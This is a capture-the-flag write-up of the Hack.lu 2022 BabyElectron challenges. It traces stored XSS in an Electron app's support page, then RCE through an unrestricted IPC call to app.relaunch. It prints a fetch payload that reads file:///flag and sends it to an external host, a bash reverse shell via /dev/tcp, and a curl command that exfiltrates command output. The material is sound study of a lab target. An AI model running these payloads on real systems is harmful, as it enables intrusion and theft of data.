# BabyElectron

Hack.lu CTF had many very difficult web challenges, the BabyElectron challenge
had the difficulty level set to (Easy,Medium)

There were two challenges based on the same challenge, basically
BabyElectronV1 and BabyElectronV2

For solving the *BabyElectronV1* challenge we were required to read the file
contents of the `flag` file , located under the root directory (`/flag`)  
The second one *BabyElectronV2* challenge revolve around getting RCE , in
order to get the flag you need to execute the `/printflag` binary file which
will echo out the flag.

Three links were provided in these challenge:

https://flu.xxx/static/chall/babyelectron_db68aab4272c385892ba665c4c0e6432.zip
: Download challenge files (which contained the source code)  
https://relbot.flu.xxx/ : Report your Posts here (Submit a report id that the
Admin Bot should visit:)  
https://flu.xxx/static/chall/REL-1.0.0.AppImage_v2 : Get the app here (From
this file the electron can be directly run)

I was on windows, so I didn't tried the AppImage . Instead directly ran the
electron app from the provided source code, as it will also allow me to add
some debugging,etc.

\-------------------------------

To start the electron app:

```bash  
wget
https://flu.xxx/static/chall/babyelectron_db68aab4272c385892ba665c4c0e6432.zip  
unzip babyelectron_db68aab4272c385892ba665c4c0e6432.zip  
cd ./public/app  
npm i

./node_modules/.bin/electron . --disable-gpu --no-sandbox  
```

![image](https://user-
images.githubusercontent.com/31372554/198924661-ba8fbddd-a716-4393-b2f9-f6850fe10d44.png)

After login/register we can see there three pages:

Home Page  
![image](https://user-
images.githubusercontent.com/31372554/198924790-830601e8-872b-40cf-
bf8a-be4f8b6d7033.png)

Buy Page  
![image](https://user-
images.githubusercontent.com/31372554/198924823-cb712d76-db0f-474b-b41a-df8e7ca695cc.png)

My portfolio page  
![image](https://user-
images.githubusercontent.com/31372554/198924857-be81464c-87fe-4b62-92d4-588b9ab81b58.png)

We can also report any House listing to the admin:

![image](https://user-
images.githubusercontent.com/31372554/198925697-c3895f77-a3e0-4a0f-b474-5b8c2e1fad96.png)

Once we buy anything , it will appear under the *My portfolio page* , from
there we can even sell the House:

![image](https://user-
images.githubusercontent.com/31372554/198925007-f6aefc57-c333-40bb-937c-0868d115eae2.png)

\-------------------------------

We need to see the underlying requests responsible for all these actions, by
adding these two line of code in electron `main.js` file:

```js  
const {app, BrowserWindow, ipcMain, session} = require('electron')  
const path = require('path')

app.commandLine.appendSwitch('proxy-server', '127.0.0.1:8080') // [1]  
app.commandLine.appendSwitch("ignore-certificate-errors"); // [2]  
```

Now restart the elctron application and now you should see the requests in the
burp history

![image](https://user-
images.githubusercontent.com/31372554/198925372-36970fe9-c973-45c9-bdeb-5cb40f5d8435.png)

\--------------------------------

As we now have a basic undestanding of the application, let's dig into the
source code to see where the bug lies:

In case of electron application if you have a xss bug it can directly lead to
RCE (if all the stars aligned correctly), so I started looking for xss in the
sourec code.  
Remember the report endpoint? It also allowed us to add a message so let's
check if it can lead to xss bug or not.

`report.js`

```js  
// get listing out of path  
let houseId = new URL(window.location.href).search  
let RELapi = localStorage.getItem("api")

report = function(){  
fetch(RELapi + `/report${houseId}`, {  
method: "POST",  
headers: {  
"Content-Type": "application/json",  
},  
body: JSON.stringify({  
message: document.getElementById("REL-msg").value  
})}).then((response) => response.json())  
.then((data) =>  
// redirect back to the main page  
window.location.href = `./index.html#${data.msg}`);  
}  
```

A request to the api endpoint is made:

```  
POST /report?houseId=WOomsaFlA HTTP/2  
Host: relapi.flu.xxx  
Content-Length: 17  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7
Safari/537.36  
Content-Type: application/json  
Accept: */*  
Sec-Fetch-Site: cross-site  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US

{"message":"zzz"}  
```

This request is handle in this part of the code: `/api/server.js`

```js  
app.post('/report', (req,res) => {

let houseId = req.query.houseId || "";  
let message = req.body["message"] || "";

if (  
typeof houseId !== "string" ||  
typeof message !== "string" ||  
houseId.length === 0 ||  
message.length === 0  
)  
return sendResponse(res, 400, { err: "Invalid request" });

// allow only valid houseId's  
db.get("SELECT * from RELhouses WHERE houseId = ?", houseId, (err, house) => {  
if(house){  
let token = crypto.randomBytes(16).toString("hex");  
db.run(  
"INSERT INTO RELsupport(reportId, houseId, message, visited) VALUES(?, ?, ?,
?)",  
token,  
houseId,  
message,  
false,  
(err) => {  
if (err){  
return sendResponse(res, 500, { err: "Failed to file report" });  
}  
return sendResponse(res, 200, {msg: `Thank you for your Report!\nHere is your
ID: ${token}`})  
})  
}  
else{  
return sendResponse(res, 500, { err: "Failed to find that property" });  
}  
})  
})  
```

It returns a token in the response, this token then can be supplied to the
`/support` endpoint to retrive the report details:

```json  
{  
"msg": "Thank you for your Report!\nHere is your ID:
553987ee78d0056533cf4dfcdc830ad1"  
}  
```

https://relapi.flu.xxx/support?reportId=553987ee78d0056533cf4dfcdc830ad1

```json  
[  
{  
"price": 37855,  
"name": "6743 Impasse de Presbourg",  
"message": "Sed voluptatem itaque necessitatibus itaque aut et ut esse.",  
"sqm": 60,  
"image": "images/REL-221024.jpeg",  
"houseId": "b0Hapli2VJ",  
"msg": "xx"  
}  
]  
```

The admin bot available at: https://relbot.flu.xxx/  
*Submit a report id that the Admin Bot should visit:* , so no doubt it uses the report id to make a request to the `/support` endpoint

This is code for the support page (from where the admin bot checks the report
id):

```html

<html>  
<head>  
<meta charset="UTF-8">  
<link href="../css/bootstrap.min.css" rel="stylesheet">  
<script src="../js/bootstrap.bundle.js"></script>  
<link href="../styles.css" rel="stylesheet">  
<title>REL Admin</title>  
</head>  
<body>  
REL Support Page  

Most recent reported Listing:  
<div class="row" id="REL-content">  
  
</div>

  
<script type="text/javascript" src="../js/purify.js"></script>  
<script src="../js/support.js"></script>  
  
</body>  
</html>

```

`js/support.js`

```js  
// support.js fetches next row from API in support and gives it back to the
support admin to handle.  
console.log("WAITING FOR NEW INPUT")

const reportId = localStorage.getItem("reportId")  
let RELapi = localStorage.getItem("api")

const HTML = document.getElementById("REL-content")

fetch(RELapi +
`/support?reportId=${encodeURIComponent(reportId)}`).then((data) =>
data.json()).then((data) =>{  
if(data.err){  
console.log("API Error: ",data.err)  
new_msg = document.createElement("div")  
new_msg.innerHTML = data.err  
HTML.appendChild(new_msg);  
}else{  
for (listing of data){  
console.log("Checking now!", listing.msg)  
  
// security we learned from a bugbounty report  
listing.msg = DOMPurify.sanitize(listing.msg) // [1]

const div = `  
<div class="card col-xs-3" style="width: 18rem;">  
<span>${listing.houseId}</span>  
![](../${listing.image})  
<div class="card-body">  
<h5 class="card-title" id="REL-0-name">${listing.name}</h5>  
<h6 class="card-subtitle mb-2 text-muted" id="REL-0-sqm">${listing.sqm}
sqm</h6>  

${listing.message}

  
<input type="number" class="form-control" id="REL-0-price"
placeholder="${listing.price}">  
</div>  
</div>  
<div>  
${listing.msg}  
</div>  
`  
new_property = document.createElement("div")  
new_property.innerHTML = div  
HTML.appendChild(new_property);  
}  
console.log("Done Checking!")  
}  
})  
```

This looked very interesting, it was making a request to the `/support`
endpoint with the report Id we provided and the response is then directly
passed to innerHTML (this can lead to xss if there is no sanization over user
controllable input).

Here we can say on line [1], the msg is passed to the Dompurify santize
function which take cares of the xss bug.But other variables aren't sanitized
listing.houseId,listing.name,listing.price

If we can get full control over any of these variable we will have a xss bug:

```json  
[  
{  
"price": 37855,  
"name": "6743 Impasse de Presbourg",  
"message": "Sed voluptatem itaque necessitatibus itaque aut et ut esse.",  
"sqm": 60,  
"image": "images/REL-221024.jpeg",  
"houseId": "b0Hapli2VJ",  
"msg": "xx"  
}  
]  
```

Request made when sell action is performed:

```  
POST /sell HTTP/2  
Host: relapi.flu.xxx  
Content-Length: 117  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7
Safari/537.36  
Content-Type: application/json  
Accept: */*  
Sec-Fetch-Site: cross-site  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US

{  
"houseId": "_yTPmi9bfl",  
"token": "61e6887048465eed383d6d9f5cd32c86",  
"message": "A commodi debitis ut.![](x)",  
"price": "1"  
}  
```

The `houseId` is validated and the `price` param value is converted to Integer
so we can't put xss payload there. The `message` is the last option and it
happily accepts our xss payload input.

Steps to create a report id which would have our xss payload:

1.Buy a house (if you don't buy anything, you won't have anything to sell)  
2.Sell the house (this is where we will add our xss payload)  
3.Report the `houseId` which we modified in *step 2*

Send the `reportId` to the admin then.

By this way although we have found a successful xss bug, we still need to find
a away to read the flag which is in root directory `/flag`

\------------------

By pressing `CTRL+Shift+I` in the electron app , developer tools window will
popup

Execute this on the console:  
```js  
>document.location.href  
'file:///tmp/CTFs/2022/Hack.lu/babyelectron_db68aab4272c385892ba665c4c0e6432/public/app/src/views/portfolio.html#'  
```

The local files are directly loaded here, so the location of page where our
report will be shown will be this:

```  
'file:///tmp/CTFs/2022/Hack.lu/babyelectron_db68aab4272c385892ba665c4c0e6432/public/app/src/views/support.html#'  
```

Here's the sweet alert popup:  
![electron_O5t35dNFpM](https://user-
images.githubusercontent.com/31372554/198938310-2f106dd3-8dab-42aa-9e48-03a6cace8287.png)

As we have xss in the file uri, we can make request to other local files and
read the content. A simple js payload such as this will allows us to read the
flag:

```js  
fetch('file:///flag')  
.then(response=>response.text())  
.then(json=>fetch("https://en2celr7rewbul.m.pipedream.net/x?flag="+json))  
```

This code will read the content of the flag file and sent it to our server.

![image](https://user-
images.githubusercontent.com/31372554/198938921-d6a8ceef-a3ca-42b1-8b8f-0d66889ae9ee.png)

`flag{well..well..well..good_you_learned_about_file://_origin_:)_}`

\------------------------------------------------------------------

# v2

Now we need rce to solve the second part of this challenge, going through
electron source code

Starting with the `webPreferences` configuration:

```js  
function createWindow (session) {  
// Create the browser window.  
const mainWindow = new BrowserWindow({  
title: "Real Estate Luxembourg",  
width: 860,  
height: 600,  
minWidth: 860,  
minHeight: 600,  
resizable: true,  
icon: '/images/fav.ico',  
webPreferences: {  
preload: path.join(app.getAppPath(), "./src/preload.js"), // eng-disable
PRELOAD_JS_CHECK  
// SECURITY: use a custom session without a cache  
// https://github.com/1password/electron-secure-defaults/#disable-session-
cache  
session,  
// SECURITY: disable node integration for remote content  
// https://github.com/1password/electron-secure-defaults/#rule-2  
nodeIntegration: false,  
// SECURITY: enable context isolation for remote content  
// https://github.com/1password/electron-secure-defaults/#rule-3  
contextIsolation: true,  
// SECURITY: disable the remote module  
// https://github.com/1password/electron-secure-defaults/#remote-module  
enableRemoteModule: false,  
// SECURITY: sanitize JS values that cross the contextBridge  
// https://github.com/1password/electron-secure-defaults/#rule-3  
worldSafeExecuteJavaScript: true,  
// SECURITY: restrict dev tools access in the packaged app  
// https://github.com/1password/electron-secure-defaults/#restrict-dev-tools  
devTools: !app.isPackaged,  
// SECURITY: disable navigation via middle-click  
// https://github.com/1password/electron-secure-defaults/#disable-new-window  
disableBlinkFeatures: "Auxclick",  
// SECURITY: sandbox renderer content  
// https://github.com/1password/electron-secure-defaults/#sandbox  
sandbox: true,

}  
})  
```

The interesting one which we should focus on are (you can find details on
these flags from the link mentioned in the comments):  
```js  
nodeIntegration: false  
contextIsolation: true  
sandbox: true  
```

If `nodeIntegration` was set to true , by using this code it would have been
possible to get RCE

```js  
const {shell} = require('electron');  
shell.openExternal('file:C:/Windows/System32/calc.exe')  
```

At first I even looked at the cool research done by Electrovolt team, to check
if the challenge solution is based upon their research or not . The electron
and chrome version used in this challenge was pretty old too

```  
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7 Safari/537.36  
```

I thought this challenge requires writing a renderer exploit (as the chrome
version is old you can find many exploits) but as I don't have any idea about
how they work :( , so I started checking some other codes.

`preload.js`

```js  
const {ipcRenderer, contextBridge} = require('electron')

const API_URL = process.env.API_URL || "https://relapi.flu.xxx";  
localStorage.setItem("api", API_URL)

const REPORT_ID = process.env.REPORT_ID || "fail"  
localStorage.setItem("reportId", REPORT_ID)

const RendererApi = {  
invoke: (action, ...args) => {  
return ipcRenderer.send("RELaction",action, args);  
},  
};

// SECURITY: expose a limted API to the renderer over the context bridge  
// https://github.com/1password/electron-secure-defaults/SECURITY.md#rule-3  
contextBridge.exposeInMainWorld("api", RendererApi);

```

`main.js`

```js  
app.RELbuy = function(listingId){  
return  
}

app.RELsell = function(houseId, price, duration){  
return  
}

app.RELinfo = function(houseId){  
return  
}

app.RElist = function(listingId){  
return  
}

app.RELsummary = function(userId){  
console.log("hello "+ userId) // added by me  
return  
}

ipcMain.on("RELaction", (_e, action, args)=>{ // [2]  
//if(["RELbuy", "RELsell", "RELinfo"].includes(action)){  
if(!/^REL/i.test(action)){  
app[action](...args) // [3]  
}else{  
// ??  
}  
})  
```

By executing this line code, the code on line [2] will come into action:

```  
window.api.invoke("RELsummary","test")  
```

The `action` variable will have this value `RELsummary` and `args` will have
`test`. On line [3] , a call like this will be made. This eventually calls the
RELsummary method and the console.log message will be printed

```  
app.RELsummary("test")  
```

This looked interesting as it allows to call any method available from the
`app` object (https://www.electronjs.org/docs/latest/api/app) also there is
regex check which only allows actions which starts from REL (`/i` means case
insensitive)

Searching for a method under app object which starts from rel , point us to
this https://www.electronjs.org/docs/latest/api/app#apprelaunchoptions

![image](https://user-
images.githubusercontent.com/31372554/198941664-00013eef-a978-4732-8301-2327010f4074.png)

I was solving this challenge in the last moment and I had some other works to
also do, so wasn't able to solve this (as it would have taken me some time to
figure it out how to achieve rce through relaunch method). After the ctf ended
I checked the solution and the solution was really using `app.relaunch` method

Thanks to @zeyu200 for this:

```js  
window.api.invoke('relaunch',{execPath: 'bash', args: ['-c', 'bash -i >&
/dev/tcp/HOST/PORT 0>&1']}) // it will evaluate to the below code  
app.relaunch({execPath: 'bash', args: ['-c', 'bash -i >& /dev/tcp/HOST/PORT
0>&1']})  
```

To get the flag here's the final poc:

```js  
window.api.invoke('relaunch',{execPath: 'bash', args: ['-c', 'curl
"https://en2celr7rewbul.m.pipedream.net/v2?=$(/printflag)"']})  
```

Replace the `houseId` and `token` parameter according to your accout.

```  
POST /sell HTTP/2  
Host: relapi.flu.xxx  
Content-Length: 298  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) REL/1.0.0 Chrome/94.0.4606.81 Electron/15.5.7
Safari/537.36  
Content-Type: application/json  
Accept: */*  
Sec-Fetch-Site: cross-site  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US

{"houseId":"_yTPmi9bfl","token":"61e6887048465eed383d6d9f5cd32c86","message":"![](x)","price":"1"}  
```

![image](https://user-
images.githubusercontent.com/31372554/198945644-fe0cd51d-bd05-4ec0-bc0f-339bef10325d.png)

`flag{congrats_on_your_firstRELauncHv2}`  

Original writeup (https://github.com/Sudistark/CTF-
Writeups/blob/main/2022/Hack.lu/babyelectron.md).